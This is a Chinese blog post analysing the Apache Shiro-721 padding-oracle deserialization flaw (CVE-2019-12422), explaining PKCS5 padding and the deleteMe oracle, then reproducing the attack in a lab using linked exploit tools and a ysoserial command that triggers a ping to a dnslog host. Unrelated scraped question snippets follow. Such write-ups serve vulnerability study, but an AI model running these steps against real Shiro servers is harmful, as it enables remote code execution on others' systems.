个人中心
文章发布
退出
作者热门文章
- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框，下拉多选树，多级节点
- 【学习笔记】基础数据结构：猫树
58
4
本文基于shiro550漏洞基础上分析，建议先看上期内容： https://blog.csdn.net/weixin_60521036/article/details/142373353 。
网上看了很多，感觉写的对我们这种对密码学不敏感的人来说非常不友好，毕竟不是所有术语都能看懂，所以我总结了一下Padding Oracle Attack 的攻击原理.
padding有很多种方式，shiro使用了PKCS5的填充方式： 如下图所示（找规律能找出来么？）： 意思就是： 约定 ：*表示任意数据，每个数据块为8字节。 当你数据为 ** ** ** ** ** ** ** ，7字节差一字节成一块，那么为了保持数据一块一块的，就需要填充一个数据，该数据根据PKCS5规则，因为差一个字节，所以填充01。 上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ，还差俩字节，所以用02 02来填充，02数值是告诉你差多少字节，而填充的字节个数和数值是一样的。（是不是有点摸着门道了？） 解释到这规律应该能看出来了，不用再过多理解.
ps:补充，当你刚好8字节满了的时候，就给你另外开一个数据块填充：(如下所示) ** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08 。
首先我们需要知道怎么判断我们padding数据正确： 在验证 Padding 失败时的返回信息应该不同，其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断，有问题会返回 -1； 。
当返回值小于0时，CipherCore#doFinal 方法会抛出BadPaddingException 异常； 。
接着 JcaCipherService#crypt 方法、AbstractRememberMeManager#getRememberedPrincipals 方法均返回异常，而且AbstractRememberMeManager#getRememberedPrincipals方法还好调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe.
这里只需要知道若攻击失败了就会返回deleteMe 。
这个padding攻击涉及的东西好多，本人实在是无法解释清楚，比如参考文章中有写：前一块密文是后一块密文的IV，通过异或中间值，得到明文，这个也是一个重要信息，但是本篇文章主要解释漏洞的发生最主要的原因，就不去深究更多的加解密的攻击.
原理其实很简单，shiro解决了密钥硬编码问题后，使用了AES-CBC加密方式，也就是说其他加解密过程没有变，但是漏洞的原因是因为加密能够被Padding Oracle Attack ，也就是说我们不用找到密钥就能够直接修改rememberMe字段，而这里需要注意的细节就是： 需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。 这也说明了为啥一定要有合法通过认证的cookie才能进行攻击，因为你要走到让他padding的那一步需要合法的身份认证 。
不知各位道友搞懂了没，总之我的看法就是： 因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可.
偷个懒直接看我之前的文章shiro550 的源码分析即可 https://blog.csdn.net/weixin_60521036/article/details/142373353 721主要的解密过程没有变，只要你成功padding进去了，就能走到反序列化那一步，个人感觉不用理解那么透彻，本身这个漏洞也挺鸡肋，需要登陆成功的身份认证cookie才能攻击。 看下面的调用栈就知道和shiro550是一样的了，就是加解密那块改了.
使用vulfocus靶场复现 。
话不多说，直接上最快捷的道具，后面再讲解另外一种抓包方式的攻击 下面这个工具在shiro550也能用，雀氏挺牛13的： https://github.com/SummerSec/ShiroAttack2 。
接着直接爆破利用链即可 。
直接就能执行命令了 。
登录记得勾选Remember Me 抓包放包，如果你密码正确，那么就会返回一个rememberMe字段的cookie，接着就是使用该cookie进行padding攻击了.
首先使用Java反序列化工具 ysoserial 生成 Payload： java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class 。
通过 Padding Oracle Attack 生成 Evil Rememberme cookie： https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本 。
注意： 此 exp 爆破时间较长，建议使用 ysoserial 生成较短的 payload 验证（eg: ping 、 touch /tmp/success, etc），约 1 个多小时可生成正确的 rememberme cookie，生成成功后将自动停止运行.
使用你刚刚用cookie生成的payload.class 。
漫长等待后，拿到pad数据后直接丢到cookie上面 接着看你自己的dnslog日志即可查看是否攻击成功了 .
参考文章： https://xz.aliyun.com/t/11633 https://www.anquanke.com/post/id/193165 。
最后此篇关于Shiro-721—漏洞分析(CVE-2019-12422)的文章就讲到这里了,如果你想了解更多关于Shiro-721—漏洞分析(CVE-2019-12422)的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。
58
4
0
我刚刚继承了一个旧的 PostgreSQL 安装，需要进行一些诊断以找出该数据库运行缓慢的原因。在 MS SQL 上，您可以使用 Profiler 等工具来查看正在运行的查询，然后查看它们的执行计划。
将目标从Analytics（分析）导入到AdWords中，然后在Analytics（分析）中更改目标条件时，是否可以通过更改将目标“重新导入”到AdWords，还是可以自动选择？ 最佳答案 更改目标值
我正在使用google analytics api来获取数据。我正在获取数据，但我想验证两个参数，它们在特定日期范围内始终为0。我正在获取['ga:transactions']和['ga:goalCo
我使用Google API从Google Analytics（分析）获取数据，但指标与Google Analytics（分析）的网络界面不同。 即：我在2015年3月1日获得数据-它返回综合浏览量79
我在我的Web应用程序中使用sammy.js进行剔除。我正在尝试向其中添加Google Analytics（分析）。我很快找到了following plugin来实现页面跟踪。 我按照步骤操作，页面如
当使用 Xcode 分析 (product>analyze) 时，有没有办法忽略给定文件中的任何错误？ 例如编译指示之类的？ 我们只想忽略第三方代码的任何警告，这样当我们的代码出现问题时，它对我们
目录 EFK 1. 日志系统 2. 部署ElasticSearch 2.1 创建handless服务 2.2 创建s
关闭。这个问题不满足Stack Overflow guidelines .它目前不接受答案。 想改善这个问题吗？更新问题，使其成为 on-topic对于堆栈溢出。 7年前关闭。 Improve thi
GCC/G++ 是否有可用于输出分析的选项？ 能够比较以前的代码与新代码之间的差异(大小、类/结构的大小)将很有用。然后可以将它们与之前的输出进行比较以进行比较，这对于许多目的都是有用的。 如果没有此
我正在浏览 LYAH，并一直在研究处理列表时列表理解与映射/过滤器的使用。我已经分析了以下两个函数，并包含了教授的输出。如果我正确地阅读了教授的内容，我会说 FiltB 的运行速度比 FiltA 慢很
在 MySQL 中可以使用 SET profiling = 1; 设置分析 查询 SHOW PROFILES; 显示每个查询所用的时间。我想知道这个时间是只包括服务器的执行时间还是还包括将结果发送到前
我用 Python 编写了几个用于生成阶乘的模块，我想测试运行时间。我找到了一个分析示例 here我使用该模板来分析我的模块: import profile #fact def main():
前几天读了下mysqld_safe脚本，个人感觉还是收获蛮大的，其中细致的交代了MySQL数据库的启动流程，包括查找MySQL相关目录，解析配置文件以及最后如何调用mysqld程序来启动实例等，有着
1 内网基础 内网/局域网（Local Area Network，LAN），是指在某一区域内有多台计算机互联而成的计算机组，组网范围通常在数千米以内。在局域网中，可以实现文件管理、应用软件共享、打印机
1 内网基础 内网/局域网（Local Area Network，LAN），是指在某一区域内有多台计算机互联而成的计算机组，组网范围通常在数千米以内。在局域网中，可以实现文件管理、应用软件共享、打印机
我有四列形式的数据。前三列代表时间，value1，value 2。第四列是二进制，全为 0 或 1。当第四列中对应的二进制值为0时，有没有办法告诉excel删除时间、值1和值2？我知道这在 C++ 或
我正在运行一个进行长时间计算的 Haskell 程序。经过一些分析和跟踪后，我注意到以下内容: $ /usr/bin/time -v ./hl test.hl 9000045000050000 Com
我有一个缓慢的 asp.net 程序正在运行。我想分析生产服务器以查看发生了什么，但我不想显着降低生产服务器的速度。 一般而言，配置生产盒或仅本地开发盒是标准做法吗？另外，您建议使用哪些程序来实现这一
我目前正在尝试分析 Haskell 服务器。服务器永远运行，所以我只想要一个固定时间的分析报告。我尝试只运行该程序 3 分钟，然后礼貌地要求它终止，但不知何故，haskell 分析器不遵守术语信号，并
是否有工具可以分析 Maven 构建过程本身，以便我可以看到构建花费最多时间的地方？ 我们在工作中遇到了关于 Maven 3.0.3 和 3.0b1 的问题。与 3.0.3 (9m00s) 相比，我们
我是一名优秀的程序员,十分优秀！